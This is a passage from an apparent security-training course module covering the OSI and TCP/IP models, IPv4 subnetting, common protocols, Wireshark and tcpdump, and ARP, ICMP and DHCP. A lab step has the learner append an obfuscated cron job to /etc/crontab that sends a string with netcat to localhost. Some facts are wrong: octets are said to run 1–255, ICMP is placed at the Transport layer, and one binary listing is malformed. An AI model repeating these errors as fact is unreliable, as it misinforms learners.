important to note that the word application in this context does
not refer to programs or applications themselves, but rather
refers to how the software receives data. For example, browsing
the web and downloading emails are some of the types of activity
facilitated by the Application Layer. Information transmitted via the
Application Layer is simply referred to as data.
Layer 6: The Presentation Layer is responsible for taking the
data it receives from the layer below it, and for rearranging it so
the Application Layer can present to a user. Encrypting, compressing,
or otherwise transforming data are examples of activities that happen
on the Presentation Layer. As with the Application Layer, we refer to
information transfer on Layer 6 as data.
Layer 5: The Session Layer implements protocols that initiate,
maintain, and eventually terminate multiple different connections
between computers. These ongoing connections are often called
sessions. As the lowest of the data layers, we continue to refer to
information on this layer as data.
Layer 4: The Transport Layer is largely (but not solely)
responsible for making sure that data gets from Host A to Host B in
proper order and on time. It handles errors, makes sure that hosts
involved in the communication are aware if any data needs to be
resent, and alerts the sending host(s) if they are sending information
across the network too quickly for the receiver(s) to handle. The
Transport Layer has multiple PDUs, depending on if the protocol
involved maintains a connection between participants, or if it merely
allows one-off broadcasting.[75]
For connection-oriented (or stateful) protocols, we refer to
information units as segments, because protocols at this layer will
define ways for breaking down longer messages into smaller ones via
a process called segmentation. For connection-less (or stateless)
protocols, we call information units datagrams, which is an
amalgamation of the words "data" and "telegram".
Layer 3: The Network Layer, true to its namesake, is primarily
concerned with information traveling between two or more different
networks. Some of its functions are the routing and broadcasting of
messages, and the addressing of multiple hosts. We're already familiar
with its PDU: information at this layer are called packets.
Layer 2: The Data Link layer is tasked with transferring
information between hosts that are physically connected on the same
network. Protocols operating on Layer 2 define rules for initiating,
monitoring, and terminating communication between physically connected
machines. It performs error detection and correction for issues
that occur on the layer below it. Unlike the layers above it, OSI
defines two sub-layers within the Data Link Layer. Media Access
Control (MAC) determines how and when different devices are allowed
to communicate to each other, whereas Logical Link Control (LLC)
provides flow control and error handling functions on Layer 2. The
Data Link Layer's PDU is called a frame.
Layer 1: Finally, the Physical Layer transfers raw data
between a physical machine and a physical transmission medium (like
a wire). From a security perspective, we're often (though of course,
not always) less interested in this layer, because it deals with
the underlying physics of data transfer. It's responsible for the
transformation of digital bits into various kinds of physical
bits, like electricity, radio waves, and photons. It deals with
electrical engineering topics like cable specifications, voltage
calculations, and radio frequencies. The PDU at the Physical Layer can
be referred to as symbols or just bits.
Let's summarize what we've learned about the OSI model, this
time starting from the bottom of the stack. First, the Physical
Layer defines how physical transmission should work, usually via
electricity, radio waves, or light. Second, the Data Link Layer
defines how digital information should travel across physically
connected hosts, via the specifications defined at Layer 1. Third,
the Network Layer expresses how that information should continue
to flow across different networks. Fourth, the Transport Layer
performs quality control and makes sure information arrives on
time and in the proper order. Fifth, the Session Layer is
responsible for orchestrating connections between devices. Sixth, the
Presentation Layer transforms the data into an agreeable format.
Finally, seventh, the Application Layer determines how that data
should be sent to and from the applications in use.
Earlier, we mentioned that each layer depends solely on the
information provided to it from the layer immediately below it. This
design principle is called encapsulation.
Encapsulation can be thought of as a spaceship launching from Earth
into orbit. When it starts its journey, it contains many parts whose
only purpose is to propel and safeguard the rest of the rocket. As it
travels, it drops the parts that it no longer needs, so that by the
time it arrives at its destination, only the most essential components
remain. At each stage of its journey, we can think of the rocket
containing an engine, which moves the rocket, and a payload, where
the latter is simply the next engine in the journey. This remains true
until the final stage, where the "true" payload is finally delivered
(passengers, cargo, etc.).
Similarly, the OSI model expects data to travel up the various layers
via encapsulation. Each layer contains descriptions of information
at the next layer as well as the intended message itself.
The TCP/IP Model
This Learning Unit covers the following Learning Objectives:
- Recall the four layers of the TCP/IP network model
- Understand that the TCP/IP network model is usually more aligned to physical implementations.
This Learning Unit will take approximately 55 minutes.
Where the OSI describes a highly theoretical model of inter-networked
communication, the TCP/IP model more significantly resembles actual
communication on today's Internet.[76] It's important to remember
while discussing the TCP/IP model that it is still only a model.
Actual implementation of protocols can be more complex and messy than
the model describes. Make sure to keep this in mind, because TCP/IP
relies on terms like TCP and IP, which are themselves the names of
actual protocols.
Since TCP/IP is the closest model to the actual Internet, it's helpful
to understand how it came to exist. It is the result of a research
project funded by the United States Department of Defense (DoD).
DoD's research agency is called Defense Advanced Research Projects
Agency (DARPA), and DARPA established ARPANET,[77] the first
wide-area packet-switching network. The first computers were connected
in 1969 and the network was declared operational in 1975. After that,
DARPA started to work on a protocol that enabled multiple separate
networks to connect in a network of networks.
In March 1982, DOD declared TCP/IP as the standard for all military
computer networks. ARPANET was migrated to the 4th version of TCP/IP
in January 1983. ARPANET was formally decommissioned in 1990 due
to the widespread adoption of TCP/IP. Since commercial networks and
enterprises were now linked together, there was no longer a need to
further fund military and academic networks as the backbone for the
Internet.
Compared to OSI, the TCP/IP model is less concerned with strict
encapsulation. Instead, it's primary goal is to scope or classify
communication at four different levels, so that each level does not
need to pay attention to the level below it. In other words, for
all "X", communication at level "X" can happen according to the same
defined rules, even if rules for communication at level "X - 1" have
multiple implementations available. The four levels of communication
TCP/IP attempts to isolate are between applications, between machines,
between networks, and finally within a network. Each of these levels
can be thought of as layers that roughly map to one or more layers of
the OSI model.
Layer 4: The Application Layer of TCP/IP can roughly be thought
of as analogous in function to the Application, Presentation, and
Session layers of the OSI model. It's purpose is to answer the
question "What rules should we use to determine how different pieces
software can talk to each other?" HTTP, FTP, and SMTP are examples of
protocols that live at the Application Layer.
Layer 3: The Transport Layer of TCP/IP attempts to answer the
question "What rules should we use to determine how machines should
communicate together regardless of the networks they happen to be on?"
As such, it accomplishes much of the same purpose as the OSI Transport
Layer, but it also has some functions like session termination that
would exist at the OSI Session Layer. It defines which port[78]
information should travel to/from. We'll cover ports in more detail
later on, but for now, we can think of them as virtual windows into a
machine. Different network services run on different ports, allowing
the machine to receive different kinds of network traffic. TCP and UDP
are by far the most well known protocols at Layer 3.
Layer 2: The Internet Layer is arguably one of the important
layers in understanding how the Internet is built. Its name,
after all, is what we use to call this whole enterprise of online
connectivity. The Internet Layer answers the question "What rules
should we use to define how information travels between networks?"
It's analogous to the OSI Network Layer, and is responsible for
the concept of IP Addresses. IP, IPsec, and ICMP are examples of
protocols that exist on the Internet Layer.
Layer 1: The Link Layer answers the question "What rules should
we use to define communication within the same physical network?" It
is comparable to the OSI Data Link Layer, but may also perform some
functions of the Network Layer. The TCP/IP model doesn't explicitly
define an OSI Physical Layer equivalent, because it assumes that
protocols should be mostly agnostic to the physical instantiation of
data. ARP[79] is one of the most important Link Layer protocols, and
we'll learn more about it in an upcoming unit.
Network Protocols
This Learning Unit covers the following Learning Objectives:
- Understand the purpose and necessity of a Link Layer.
- Begin to get familiar with the IP and TCP protocols
- Survey some important application layer protocols
This Learning Unit will take approximately 160 minutes.
In this Learning Unit, we'll dive into some of the important
TCP/IP protocols you'll be using, attacking, and defending as a
security professional.
Why is a Link Layer[80] necessary?
Networks consisting of only physical devices are vulnerable to
collisions.[81] Collisions occur when more than one device
transmits packets on a network segment at the same time. The main
purpose of this layer is to reduce collisions on the physical network.
By far, the most prominent and widespread technology used to connect
devices together on the Link Layer today is called Ethernet.
Ethernet allows us to form logical boundaries around physically
connected devices via the concept of network switches or bridges.
Switches essentially reduce the amount of machines that can collide in
a large network by dividing it up into smaller networks of networks.
Any device on the network can reach any other device's networking
interface by invoking its MAC address.
MAC addresses are constructed by concatenating six bytes (8-bit
hexadecimal numbers), for example, "11:22:33:44:55:66".
This means there are 2^48, or over 281 trillion possible MAC
addresses. Because there are so many potential MAC addresses, they
are theoretically globally unique. The first half of the MAC address
doubles as an Organizationally Unique Identifier (OUI),[82] which
also helps to ensure uniqueness.
When one device wants to send information to another device on the
network, it includes both its own MAC address and the MAC address of
the intended receiver in each frame. This is all fine and well, but we
quickly encounter a problem: machines do not inherently know the MAC
addresses of other machines on their network! This is where Address
Resolution Protocol (ARP) comes in, and we'll learn a little bit
about how it works below.
Ethernet cables are so common that manufacturers have started to build
ports into all manner of physical devices, including routers, modems,
PCs, and even keyboards!
Recall that the Internet Layer is used when we want to allow devices
to connect across networks. The Internet Protocol (IP) is the
workhorse of TCP/IP in allowing this to happen.
The way that IP does this is through the use of IP addresses.[83]
Let's examine how to construct an IP address.
Note that for this Module, we'll be using the term "IP address"
to mean IPv4 addresses. IPv4 is the fourth version of IP, and the
one most commonly used today. While IPv6 has seen wider usage more
recently, it has not yet reached the point where it is helpful for a
beginning security professional to start learning about networking via
IPv6. In addition, many of the concepts about IPv4 will apply to IPv6
as well. If still curious, we have included some resources at the end
of the section.
To build an IP address, we take four octets[84] and concatenate
them to form a 32-bit integer. For each of the four octets, a number
between 1 and 255 is chosen. These values are called octets because
2^8 = 256. An example of an IP address is 192.168.127.16.
Since each octet is independent of the others, this addressing scheme
can allow us to create 2^8^4, or 2^32 addresses, which is just
shy of 4.3 billion possible values!
At this point, you may be thinking: "Wait a moment, 4.3 billion is a
lot of addresses, but there are way more than 4.3 billion devices on
the planet. There aren't enough addresses for everyone!"
There are a few ways by which IPv4 solves this problem. One of them
is called Network Address Translation, or NAT, and we'll learn
more about that later. Another way of solving the problem is by
the use of something called a subnet mask. A subnet mask uses the
same numerical format as an IP address, so it can get a little bit
confusing. Like IP addresses, they are also built by concatenating
four octets. Unlike IP addresses, they usually start with the value
"255" (for example, 255.255.255.0, or 255.255.0.0).
Each network is assigned a subnet mask, which helps define what IP
addresses are allowed to exist within that same network.
Understanding the complete details of how subnet masks work is beyond
the scope of this Module. We'll provide a brief introduction, as
well as some extra resources[85]^,[86]^,[87] to
supplement your understanding.
We first need to notice that the IP addresses we mentioned earlier
are only written down as octets for convenience and legibility. An IP
address can also be represented as a simple 32-bit binary number. Here
is the address from earlier (192.168.127.16) written as binary:
11000000101010000111111100010000
Listing 1 - 192.168.127.16 in binary
We can add back in the periods between each byte for legibility:
11000000.10101000.01111111.00010000
Listing 2 - 192.168.127.16 in binary, separated into bytes
Next, we realize that subnet masks can be represented in the same format. The subnet
mask 255.255.255.0, for example, would be:
11111111.11111111.11111111.00000000
Listing 3 - 255.255.255.0 in binary
As mentioned above, the purpose of subnet masks are for machines to
know if they are on the same network, or not. When we line up the bits
of an IP address with the bits of a subnet mask, we can infer which
machines can also be on that network:
192.168.127.16 = 11000000.10101000.01111111.00010000
255.255.255.0 = 11111111.11111111.11111111.00000000
Listing 4 - 192.168.127.16 and 255.255.255.0 converted to binary
To tell which other machines can be inside this network, we need to
take two steps. First, we look at the bits of the subnet mask that are
zeros. The zero-bits of the subnet masks do not constrain potential IP
addresses.
Since the last byte of our subnet masks are all zeros, any IP
addresses that ends with any byte is allowed in the network (as long
as they do not conflict with other rules). In other words, we know
that IP addresses that looks like this will be allowed:
X.X.X.1 - 255
Listing 5 - IP address format
However, we still don't know what rules will constrain the first three
bytes.
The second part of the subnet mask we need to look at are the
one-bits. The one-bits tell us that every corresponding bit of any
two IP addresses inside the network must match.
Since all the bits of the first three bytes of the subnet mask are
ones, the only IP addresses allowed in this network are those with
the bytes 192.168.127 as the first three. For example, the IP address
192.168.128.16 would not be allowed in our network. We can visualize
this by laying out the two IP addresses with the subnet mask.
192.168.127.16 = 11000000.10101000.0 1111111.00010000
192.168.128.16 = 11000000.10101000.1 0000000.00010000
255.255.255.0 = 11111111.11111111.1 1111111.00000000
Listing 6 - 192.168.128.16 does not fit the mask
We note that the bit in the 17th place does not match between the two
addresses.
The IP address 192.168.127.17 would fit in our network:
192.168.127.16 = 11000000.10101000.01111111.000100000
192.168.127.17 = 11000000.10101000.01111111.000100011
255.255.255.0 = 11111111.11111111.11111111.000000000
Listing 7 - 192.168.127.17 fits the mask
The bit in the 32nd place doesn't match, but they don't need to
because the corresponding bit of the subnet mask is a zero.
To refer to subnets more concisely, we can use something called
Classless Inter-Domain Routing (CIDR) notation. For example, the
CIDR notation for a network with a 255.255.255.0 subnet mask is "/24",
because there are 24 one-bits in the mask. Likewise, 255.255.0.0
subnet masks belong to "/16" networks, and 255.0.0.0 subnet masks
belong to "/8" networks.
It is possible to have subnet masks with bytes other than 255, or
a full byte of one-bits. To accurately calculate the CIDR value for a
subnet mask with values other than 255, it is necessary to convert the
octets into binary, and then to count the number of 1's that appear in
the full binary string.
While IP takes care of routing messages to and from systems across
different networks through IP address, Transport level protocols
try to make sure that the messages get to their intended destination
on time, and in the right order.
TCP is perhaps the most common Transport layer protocol. It enables
two-way communication by establishing a session between machines. A
TCP session is initiated by what's called the Three Way Handshake.
Here is how it works:
Step 1: Machine A send a packet with a flag called SYN (or
synchronize) to Machine B.
Step 2: Machine B receives the SYN flag, and sends back a packet
with the SYN-ACK flag to acknowledge Machine A.
Step 3: Machine A receives the SYN-ACK and finally sends back an
ACK flag to acknowledge Machine B.
With these three steps, both machines know reliably that each of them
are receiving each others' messages. The session is now open, and the
two machines can now send segments back and forth.
In addition to the feature of robust sessions, TCP adds the concept
of ports. Whereas an IP packet requires the sender to specify an IP
address, a TCP segment requires the sender to specify a port number
between 0 and 65535 (2^16 - 1). Ports 0 to 1023 are considered
well-known ports, and are frequently used by extremely popular
network services. Essentially, TCP ports allow a machine to open up
multiple communication sessions at the same time.
Some network services do not require the reliable two-way
communication provided by TCP, and simply need to send and receive
one-way messages. Instead of going through the work of establishing a
session, a machine transmitting via UDP simply sends its message and
assumes that the other machine received it.
Here is an analogy to help understand the differences between TCP and
UDP. Think of TCP like telephone calls: To start a telephone call,
you dial a number, and the cellular or cable service negotiates the
connection (or session) between you and the receiver. Once the session
is established, you can freely communicate with the other party.
In most cases you are immediately aware if the session closes, for
example if your partner hangs up on you.
On the other hand, UDP is more similar to snail mail. When you send a
letter in the mail, you simply drop your message in a mailbox. Then,
you just assume that the postal service protocol will deliver your
letter. You do not know if or when the recipient will receive it.
They could write back to keep you informed of the reception, but they
need not do so. Unlike phone calls and letters, UDP is significantly
faster than TCP. It gives up TCP's reliability and in return receives
speed. Like TCP, UDP also defines 65535 ports.
We have now covered several lower-level protocols in the TCP/IP stack.
These next sections very briefly touch on some of the most common
Application protocols.
HTTP is the protocol of the web. It specifies rules for
web clients to retrieve content from web servers. HTTP most
commonly uses port 80. Traditionally, web browsers would use port
80 as the default port if left unspecified in the URL. However,
recently[88] browser developers have started to set the
default port to 443, which often runs an encrypted of HTTP, called
HTTPS. We'll learn more about the differences between HTTP and HTTPS
in future Modules.
HTTP uses a series of requests generated by a client and responses
generated by a server to enable flexible and efficient communication.
HTTP (and it's encryption-enhanced sister HTTPS) are so important to
security that we'll dedicate a full Module to understanding it later.
FTP allows a client to connect to, browse, send, and retrieve files
to, and from, a server. FTP is useful to know about from a security
perspective, because it enables means of discovering information that
may not be as heavily monitored or hardened as other network services.
When using TCP, FTP usually operates on port 21. FTP is considered
a fully session-oriented protocol, because once a connection is
established, the client can continue to interact with the server until
the session is terminated.
UDP has an FTP counterpart, which runs on port 69, called TFTP. Unlike
FTP, TFTP simply allows the one-off transfer or retrieval of files.
We'll leave it as trivia for the student to research what the T in
TFTP stands for.
SMTP is one of several application layer protocols dedicated to
e-mail. As with other protocols, SMTP describes a conversation or
negotiation between two parties: a sender and a receiver. When an
email is written, the first thing that happens after hitting send
is that the message gets transferred from the sender's local device
to their remote mail server.[89] Then, this outgoing mail server
negotiates with the recipient's incoming mail server. SMTP describes
the way that the two mail servers need to interact to validate each
other's role in the communication process.
SMTP governs the communication from a sender to their mail server, and
from their mail server to that of the recipient. In other words, it is
used only to send e-mail. Other protocols describe how e-mail can be
retrieved from a mail server by a recipient. SMTP also tends to run on
a special well-known port, port 25.
Data Packets and Analysis - I
This Learning Unit covers the following Learning Objectives:
- Understand the concept of network traffic and network captures
- Use Wireshark to capture network traffic
- Become familiar with .pcap files, and open them in Wireshark
This Learning Unit will take approximately 90 minutes.
When data moves across a network, it is sent and received in units
called packets. We can think of a packet as a small container that
includes both a message as well as meta-information about the message.
The transfer of many packets across a network is called network
traffic. Crucially, network traffic can be sniffed or captured via
Packet Capture tools.
Several different tools can help us intercept and log network traffic.
These can be useful to both attackers and defenders. For example, an
attacker might use such a tool to gain unencrypted authentication to
a web server. Meanwhile, a defender might use the same tool to detect
the attacker's presence on the network.
Many packet capture tools can save data for later use, often using
the .pcap[90] file format. This can be very helpful,
especially because a pcap generated on one device can then be opened
up and analyzed on another device or even a different operating
system.
The Libpcap, Winpcap, and Npcap software libraries implement
packet capture functionality. These libraries are what will allow us
to the save captured traffic to .pcap files. Files containing
captured network traffic are usually referred to simply as "pcap
files", without the dot.
Wireshark is a flexible application that can be used to capture
network traffic. It is usually used via its streamlined Graphical
User Interface (GUI), but it also has a command line version called
tshark.[91]
Wireshark can be used to listen to, or sniff, network traffic
live, and it can also be used to analyze a previously generated
pcap file.
To start Wireshark via the Kali GUI, click on the dragon icon at the
top left of the desktop. Navigate to 09 - Sniffing and Spoofing, and
then select Wireshark.
We can also start Wireshark from the Kali command line with the
following command.
kali@kali:~$ sudo wireshark
Listing 8 - Running Wireshark from the terminal
Note: If you are using the Browser-Based Kali VM, you will need
to use the -E flag to preserve environment variables. The
command sudo -E program tells bash to run "program" with root
privileges, but with the current user's environment variables. This
allows us to run Wireshark as root within the Browser-Based VM, since
it must do so to properly capture packets.
When Wireshark starts up, we are presented with an interface that
allows us to apply a display filter or enter a capture filter. Filters
allow us to control which data packets we want to intercept, observe,
and analyze.
We'll explore capture filters[92] first. These will
allow the user to decide which data they want Wireshark to store.
For example, if we want to only capture data traveling to/from a
specific IP address, we can use the host capture filter host
192.168.12.34.
Using a capture filter tells Wireshark to include only the data that
conforms to the filter's definition. This means that any data that
passes through the network that does not fit the filter's definition
will be lost.
We can also select from a set of pre-defined capture filters by using
Wireshark's default list. Click Capture on the toolbar (or use
E+c) to open the Capture menu. Then click Capture
Filters..., and the following will is displayed.
The terms in the above window may be unfamiliar at the moment, but by
the end of this Module, we will review most of them. Note that you can
save our own capture filters to this list by hitting the + button on
the bottom left of the window.
For now, let's click the Cancel button to return to the previous
screen.
Before we continue, we need to first take a brief detour and learn
what a network interface is, since we'll be filtering traffic
based on it. A network interface (or just interface) is a physical
or virtual device that allows machines to connect to each other. For
example, the eth0 network interface on Linux represents the network
card that is physically installed into a computer. This interface is
often used by the OS to reach hosts on the Internet through a Local
Area Network (LAN).[93]
Meanwhile, the tap0 and tun0 interfaces can reach machines across a
Virtual Private Network (VPN).[94]
We will cover network interfaces in more detail later. For now, we're
going to capture network traffic on our own Internet connection. Let's
select eth0 or any in the list of interfaces. In the Capture
Filter field, we will type "host www.offensive-security.com" and
hit I. Note that when using a domain name rather than an
IP address, Wireshark may take five to ten seconds to confirm that
the capture filter is valid. We'll learn more about the differences
between domain names and IP addresses in a later Module.
If you are working on your own local Kali VM, you may be asked
to enter your physical host machine's password. This is because
monitoring traffic is usually a high-privilege activity.
The following screenshot depicts the window we see once we begin our
capture.
Despite the several blank screens, there are a few items to notice.
First, the normally blue Wireshark icon is now green. This helps
reminds us that Wireshark is listening to traffic, even if nothing
appears to be captured, yet. We can also recall which interfaces are
being listened on and which capture filters are applied by reading the
application's title bar.
Next, let's capture some data by generating network activity with
Firefox. Click the Kali menu, and select Web Browser in the right
column. This will open Firefox by default. Once Firefox is open,
type "www.offensive-security.com" in the navigation bar, and hit
I.
Looking back at the Wireshark screen, we notice that many lines are
filled out. Each line represents one packet that's been generated
by our web request. We may have only expected a few packets to be
generated, but we have quite a few. It's important to note that a
simple web request can generate so much traffic.
From the attacker's perspective, it's critical to realize that one's
movements can easily be tracked by defenders. For defenders, it's
equally crucial to understand how much data is being given away to
someone sniffing the network traffic. This reinforces the point that
Wireshark is a powerful tool both defensively and offensively.
Let's stop the packet capture by closing Wireshark. You will have the
option to save the packet capture, or to quit without saving it.
Now that we have Wireshark listening to traffic traveling to or from
http.kali.org, let's filter the packets we can monitor in the UI
with Display Filters.[95] Unlike a capture filter, a display
filter does not affect what data Wireshark intercepts. Instead, it
simply applies a temporary mask on packets that do not fit the defined
criteria. We can also choose a filter from a predefined list by going
to the Analyze menu (or using the E+a), and then
selecting Display Filters....
In the Display Filter field, let's type http and hit
I to apply a display filter that only shows Hypertext
Transfer Protocol (HTTP) packets. We'll cover what exactly HTTP is
in a later Module. For now, think of HTTP as the part of the Internet
that lets you view and interact with web sites.
In the above image, we have selected the packet that contains the text
visible in the Firefox browser. See if you can find the corresponding
packet in your own packet capture.
The Wireshark graphical display has three main sections:
The top section allows us to select which packet we want to analyze.
The packet we pick will change the context of the middle and bottom
sections.
The middle section allows us to analyze a specific packet at multiple
levels, depending on the protocol we are interested in. We'll cover
this concept of protocol layers in more detail later.
Finally, the bottom section allows us to inspect the raw contents of
the selected packet in hexadecimal format, along with a translation to
ASCII[96] (where available).
When we're done with our capture, we can save it to a file. The
capacity to save and load pcaps gives us quite a bit of versatility.
For example, we may want to save some traffic during a wireless
security engagement so that we can analyze traffic from our office
later. To save a packet capture, navigate to File > Save (or
press C+s).
To follow along with the next sections and complete the exercises, you
will need to download a set of pcap files to your Kali machine.
Let's close and re-open Wireshark. This time, instead of listening
to live traffic, we will navigate to File > Open (or press
C+o) and then select the statistics.pcap
file from your file system.
For the next set of exercises, we'll make use of the Capture File
Properties feature, which provides a high level overview of the
current pcap. There are three ways to open the Capture File Properties
window. You can click on the small properties icon on the bottom left
of Wireshark, you can navigate to Statistics[97] > Capture File
Properties, or you can use the key sequence E+s and
then C+E+B+c.
Data Packets and Analysis - II
This Learning Unit covers the following Learning Objectives:
- Follow TCP streams in Wireshark
- Open .pcap files on the command line with Tcpdump
- Use Tcpdump to capture live traffic
This Learning Unit will take approximately 95 minutes.
In this Learning Unit, we'll continue learning about more advanced
features in Wireshark as well as begin exploring Tcpdump.
So far, we have been using Wireshark to view network traffic
sequentially in the order that the packets traveled over time.
However, we are often more interested in streams[98] of data
between various clients and servers. Selecting a data stream tells
Wireshark to apply a specific kind of display filter that allows us
to view the conversation between a client and a server. Wireshark has
a powerful ability to reassemble a specific session and display it in
various formats.
In Wireshark, open the flow_and_export.pcap capture file.
First, let's click through the packets sequentially and determine
if we can figure out what happened in this session. Unless you are
already familiar with reading packets, it may take some time before it
is evident. This is a situation where using a data stream will be very
useful. Once a data stream is reassembled, it is much easier to read
the history of the session.
First, right click on the first packet in the capture, and select
Follow > TCP Stream. A new window will open up, where we can
observe that a user seems to have logged in successfully to some
service.
On the right hand side, just above the Find Next button, we can
select other data streams captured in the current pcap. By quickly
reading through each of the streams, we can get a nice high-level
overview of the network activity that generated our pcap.
Wireshark can export[99] data found within a packet capture. This
is a fancy way of saying that we save and review various types of data
that can help us on a penetration test, or with defending our network.
For example, if we are interested in only a few specific packets in
our capture, we can use the File > Export Specifed Packets... menu
to save a new, smaller pcap file.
Wireshark has a very wide range of data types that can be exported.
One of the most interesting set of options from a security perspective
is the ability to export objects. By exporting an object, we can
recreate and save any files of interest that have been transferred
during recording of the pcap. Within the File > Export Objects
menu, we find that Wireshark supports exporting objects for a number
of application layer protocols. By clicking on a protocol, Wireshark
will scan and display all identified objects in that protocol's data
streams. We can then save whichever objects we'd like to further
assess to our local disk.
Tcpdump[100] is a command-line (or CLI) based network sniffer
that is surprisingly powerful and flexible despite the lack of a
graphical interface. It is by far the most commonly-used command-line
packet analyzer and can be found on most Unix and Linux operating
systems.
To open it, we can try to run tcpdump on the command line.
kali@kali:~$ tcpdump
tcpdump: eth0: You don't have permission to capture on that device
(socket: Operation not permitted)
Listing 9 - Running tcpdump with low privileges
Unless your Kali machine is configured to allow low privilege network
capture, tcpdump will not run and will output an error message similar
to the one above. We can notice a few things from this error message.
First, we can see that tcpdump is attempting to listen on the eth0
interface. This is useful for our current purposes, but we may want
to learn how to specify an interface to listen on later. Second,
we notice that we don't seem to have permission to capture network
traffic as the kali user.
As with Wireshark, permission configurations on a device will
determine a specific user's ability to capture network traffic with
tcpdump. To run tcpdump as root, we will need to use the
sudo prefix.
kali@kali:~$ sudo tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Listing 10 - Running tcpdump with root privileges
By default, tcpdump will capture live traffic passing through the
network when it is run with no switches. Like Wireshark, it can also
read and analyze existing capture files. To load a capture file with
tcpdump, use the -r switch and specify the path to the file
you wish to open on your local machine.
Tcpdump allows us to filter data in much the same way as Wireshark.
For example, we can use the source host (src host) or
destination host (dst host) filters to output only source or
destination traffic respectively.
Note that source refers to where a packet originates from, and
destination indicates where it went.
We can also filter by port number (port XYZ) to show traffic
against a given port, or by protocol name like FTP or HTTP. It is also
possible to negate a specific filter by using the not keyword. Using
the not keyword allows us to tell tcpdump to intercept all data that
is not constrained by our definition.
One of the most compelling reasons to use a command-line tool like
tcpdump over a graphical interface like Wireshark is because the
command-line can offer a nearly unlimited amount of flexibility.
When running tcpdump, we also need to save the packets we are
recording. To do that we need to use the -w switch. This will
allow us to analyse the packets either with tcpdump or Wireshark. Once
we have the file recording, we need to press C+c.
Since tcpdump input and output is just text, we can pipe it to or
from other commands. This can be extremely powerful. For example,
we can pipe tcpdump into the wc -l command to easily count
the number of lines output by a capture. Alternatively, we can pipe
tcpdump into the cat -n command to display line numbers.
Next, let's listen to some network traffic using the loopback
network interface. Loopback is a special network interface that allows
our local machine (also called localhost) to run network services
without exposing them remotely. It is mainly used for diagnostics
and troubleshooting. By default, localhost resolves to the IP address
127.0.0.1.
We are going to start a cronjob that will attempt to connect to
a specific port on our local machine, and then we'll send it an
arbitrary string of text data. As the root user, copy the following
command into your terminal.
root@kali:~# echo "* * * * * kali echo OS{`echo -n offsec123 | md5sum | cut -c 1-32`} | nc -u 127.0.0.1 $(( 53 * 98 - 195 ))" >> /etc/crontab
Listing 11 - Starting a cronjob
Since the purpose of this section is to understand networking and
tcpdump, not Bash, we won't go into great detail about what this
command sequence is doing.
Note that we have slightly obfuscated the command so that it isn't
immediately clear what values will be outputted. While we don't
recommend it, you could skip through the next set of exercises by
taking a peak at the /etc/crontab file, since it holds the
output of this command. We will, however, remind you that there are
sadly no shortcuts when learning, and you will benefit a great deal by
not skipping ahead.
To conclude our section on packet captures, we've seen how tools like
Wireshark and Tcpdump can help us intercept, save, and analyze network
traffic. We've learned how to apply various kinds of filters and flags
to increase our chances of finding data that we're interested in.
Finally, we've also started to understand a little bit about network
interfaces.
On your Kali Linux VM, echo the provided command to /etc/crontab
and then use tcpdump to capture network traffic on the local network
interface. Make sure to capture traffic for more than one minute, or
until you see some output from tcpdump.
TCP/IP Helper Protocols
This Learning Unit covers the following Learning Objectives:
- Understand the purpose of the Address Resolution Protocol
- Locate ICMP packets in a packet capture
- Understand how the Dynamic Host Configuration Protocol works at a
high level
This Learning Unit will take approximately 90 minutes.
In this Learning Unit, we'll cover protocols which are not necessarily
the main players of the TCP/IP stack, but which do perform key support
roles that enable the whole suite to work well together.
The Address Resolution Protocol (ARP) is designed to associate
Network Layer addresses to Link Layer addresses. In this case, we're
concerned with IP addresses and MAC addresses. This allows switches to
transmit Ethernet frames to their intended destination devices on a
Local Area Network (LAN).
We may recall that machines do not inherently know each other's MAC
addresses. ARP allows them to communicate by specifying rules that
they can follow to learn which IP address belongs to each MAC address.
Machine A begins the protocol by broadcasting a frame containing
three pieces of data:
-
The source, which is the machine's own MAC address.
-
The destination, ff:ff:ff:ff:ff:ff as the destination. This is a
special address meaning broadcast and allows every machine on the
network to receive the frame. -
A string, which when roughly translated into English is equivalent
to: "Who has the IP address belonging to Machine B? Please tell
Machine A."
Machine A sends this frame and then Machine B receives it. Because of
the information included in the broadcasted frame, Machine B now knows
the MAC address of Machine A. Machine B then responds with its own
frame, which also contains three pieces of data:
-
Its MAC address as the source.
-
Machine A's MAC address as the destination.
-
A string, which again roughly translated into English says: "My IP
address is at this MAC address."
Machine A is now aware of Machine B's IP and MAC addresses, and it
stores that information in its ARP cache. When it want to send
subsequent frames, it can now look up the correct information inside
the cache. Machine B can then initiate the same procedure to learn and
store Machine A's addresses.
ARP has its own command, arp, that allows it to display or
manipulate the network cache. Let's examine what the default ARP table
is for our Kali VM.
kali@kali:~$ arp
Address HWtype HWaddress Flags Mask Iface
192.168.52.254 ether 00:50:56:86:3d:ec C eth0
Listing 12 - Viewing the ARP table
There are instances where it may be required to manually add an
address to the table.
kali@kali:~$ sudo arp -s 10.0.0.2 AA:BB:CC:DD:EE:FF
Listing 13 - Adding to the ARP table
Likewise, we can use the same command to remove an address from the
table.
kali@kali:~$ sudo arp -d 10.0.0.2
Listing 13 - Deleting from the ARP table
Understanding how ARP works is very helpful when learning about the
Man In The Middle (MITM) attack, called ARP spoofing.[101]
The Internet Control Messaging Protocol (ICMP)[102] operates at
the Transport layer of TCP/IP. It plays a crucial support function:
when there is a problem with the reception of data, it alerts the
sender with various kinds of error messages. It generally does not
transmit data itself, aside from these error codes.
ICMP[103] usually operates in the background of networking
activities, and is not often invoked directly by an end user. One
important exception to this is the act of pinging a machine. Ping
is a fairly ubiquitous tool that repeatedly sends ICMP messages to
a target. This can allow us to test network connectivity by letting
us know if we're able to reach the destination. It also tests for
the latency[104] of connectivity between the two machines.
It measures both the time it takes for the ICMP packet to reach its
destination and the time it takes to receive an acknowledgment. These
values are summed together and provided back to the sender, usually in
milliseconds.
The Dynamic Host Configuration Protocol (DHCP)[105] helps make
sure that any new machines that join a network can negotiate with
existing machines to receive a properly configured and unique IP
address. Unlike ICMP, it takes an active role in preventing issues
rather than simply reporting on them.
DHCP[106] achieves its goal via centralization. A DHCP server is
used to assign an IP address to each host that joins its network.
We can think of the DHCP server as handing a sort of ticket to each
machine. Each ticket contains a unique number, and only remains valid
for a predetermined amount of time.
DHCP behaves similarly. Every machine that joins the network receives
a unique IP address, and is only allowed to keep it, or lease it,
for a defined time before it must check in with the DHCP server to
revalidate.
The process begins with a computer getting on the network and asking,
"Any DHCP servers here?". This is called the DHCP Discover.
The DHCP server responds with a DHCP Offer. Essentially, "I'm here and
I can give you the IP address 192.168.1.11" (OR whatever IP address is
available).
